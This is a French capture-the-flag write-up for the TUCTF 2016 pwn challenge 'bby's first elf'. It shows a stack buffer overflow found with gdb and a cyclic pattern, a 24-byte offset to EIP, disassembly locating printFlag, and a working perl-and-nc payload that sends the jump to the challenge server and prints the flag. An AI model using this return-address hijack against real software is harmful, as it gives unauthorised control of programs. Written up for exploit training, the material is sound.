bby’sfirstelf[TUCTF][pwn][25pts]

Voici le write-up du challenge bby’s first elf du  TUCTF 2016

C’est un challenge de 25 points de type pwn .

Lançons tout d’abord le binaire :

neolex@archlinux> bbysfirtelf_pwn_25$./3d726802521a9ce2b24e2c3baf039915e48ad056 
This program is hungry. You should feed it.
test
Do you feel the flow?

Testons un buffer overflow :

neolex@archlinux> bbysfirtelf_pwn_25$gdb -q 3d726802521a9ce2b24e2c3baf039915e48ad056 
Reading symbols from 3d726802521a9ce2b24e2c3baf039915e48ad056...(no debugging symbols found)...done.
gdb-peda$ run <<< $(perl -e "print 'A'x500")


[...]

Stopped reason: SIGSEGV
0x41414141 in ?? ()

Nous obtenons bien une segmentation fault ,et la valeur de retour est bien écrasée par nos A « 0x41 » .

Nous allons maintenant utiliser un pattern pour calculer le nombre de caractères à écrire pour écraser la valeur de retour soit EIP:

neolex@archlinux> ~$BofPattern.py 500
Aa0Aa1[...]6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq

gdb-peda$ run <<< Aa0Aa1Aa2Aa3A[...]Aq1Aq2Aq3Aq4Aq5Aq

Stopped reason: SIGSEGV
0x41386141 in ?? ()

Eip est ecrasée par la valeur 0x41386141 calculons le nombre de caractères correspondant :

neolex@archlinux> ~$BofPattern.py 0x41386141
24

Maintenant desassemblons le binaire et cherchons quelque chose permettant d’afficher le flag :

neolex@archlinux> bbysfirtelf_pwn_25$objdump -d -M intel 3d726802521a9ce2b24e2c3baf039915e48ad056 
[ ... ]
0804856d <printFlag>:
 804856d:    55                       push   ebp
 804856e:    89 e5                    mov    ebp,esp
 8048570:    83 ec 58                 sub    esp,0x58
 8048573:    c7 44 24 04 a0 86 04     mov    DWORD PTR [esp+0x4],0x80486a0
 804857a:    08 
 804857b:    c7 04 24 a2 86 04 08     mov    DWORD PTR [esp],0x80486a2
 8048582:    e8 c9 fe ff ff           call   8048450 <fopen@plt>
 8048587:    89 45 f4                 mov    DWORD PTR [ebp-0xc],eax
 804858a:    8b 45 f4                 mov    eax,DWORD PTR [ebp-0xc]
 804858d:    89 44 24 08              mov    DWORD PTR [esp+0x8],eax
 8048591:    c7 44 24 04 32 00 00     mov    DWORD PTR [esp+0x4],0x32
 8048598:    00 
 8048599:    8d 45 c2                 lea    eax,[ebp-0x3e]
 804859c:    89 04 24                 mov    DWORD PTR [esp],eax
 804859f:    e8 5c fe ff ff           call   8048400 <fgets@plt>
 80485a4:    8d 45 c2                 lea    eax,[ebp-0x3e]
 80485a7:    89 04 24                 mov    DWORD PTR [esp],eax
 80485aa:    e8 71 fe ff ff           call   8048420 <puts@plt>
 80485af:    a1 40 a0 04 08           mov    eax,ds:0x804a040
 80485b4:    89 04 24                 mov    DWORD PTR [esp],eax
 80485b7:    e8 34 fe ff ff           call   80483f0 <fflush@plt>
 80485bc:    8b 45 f4                 mov    eax,DWORD PTR [ebp-0xc]
 80485bf:    89 04 24                 mov    DWORD PTR [esp],eax
 80485c2:    e8 49 fe ff ff           call   8048410 <fclose@plt>
 80485c7:    c9                       leave  
 80485c8:    c3                       ret    

080485c9 <main>:
 80485c9:    55                       push   ebp
 80485ca:    89 e5                    mov    ebp,esp
 80485cc:    83 e4 f0                 and    esp,0xfffffff0
 80485cf:    83 ec 20                 sub    esp,0x20
 80485d2:    c7 04 24 ac 86 04 08     mov    DWORD PTR [esp],0x80486ac
 80485d9:    e8 42 fe ff ff           call   8048420 <puts@plt>
 80485de:    8d 44 24 14              lea    eax,[esp+0x14]
 80485e2:    89 44 24 04              mov    DWORD PTR [esp+0x4],eax
 80485e6:    c7 04 24 d8 86 04 08     mov    DWORD PTR [esp],0x80486d8
 80485ed:    e8 6e fe ff ff           call   8048460 <__isoc99_scanf@plt>
 80485f2:    c7 04 24 db 86 04 08     mov    DWORD PTR [esp],0x80486db
 80485f9:    e8 22 fe ff ff           call   8048420 <puts@plt>
 80485fe:    b8 00 00 00 00           mov    eax,0x0
 8048603:    c9                       leave  
 8048604:    c3                       ret    
 8048605:    66 90                    xchg   ax,ax
 8048607:    66 90                    xchg   ax,ax
 8048609:    66 90                    xchg   ax,ax
 804860b:    66 90                    xchg   ax,ax
 804860d:    66 90                    xchg   ax,ax
 804860f:    90                       nop

La partie qui nous interesse est la fonction printFlag , à l’adresse 0x0804856d

Il nous reste qu’à écraser la valeur de retour EIP avec cette adresse pour lancer cette fonction est donc afficher le flag.

Nous entrons donc 24 A puis « \x6d\x85\x04\x08 » soit 0x0804856d en little endian :

neolex@archlinux> ~$perl -e ‘print « A »x24, »\x6d\x85\x04\x08″‘| nc 146.148.95.248 2525
This program is hungry. You should feed it.
Do you feel the flow?
TUCTF{jumping_all_around_dem_elfs}

Nous obtenons bien le flag est qui est TUCTF{jumping_all_around_dem_elfs}

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée.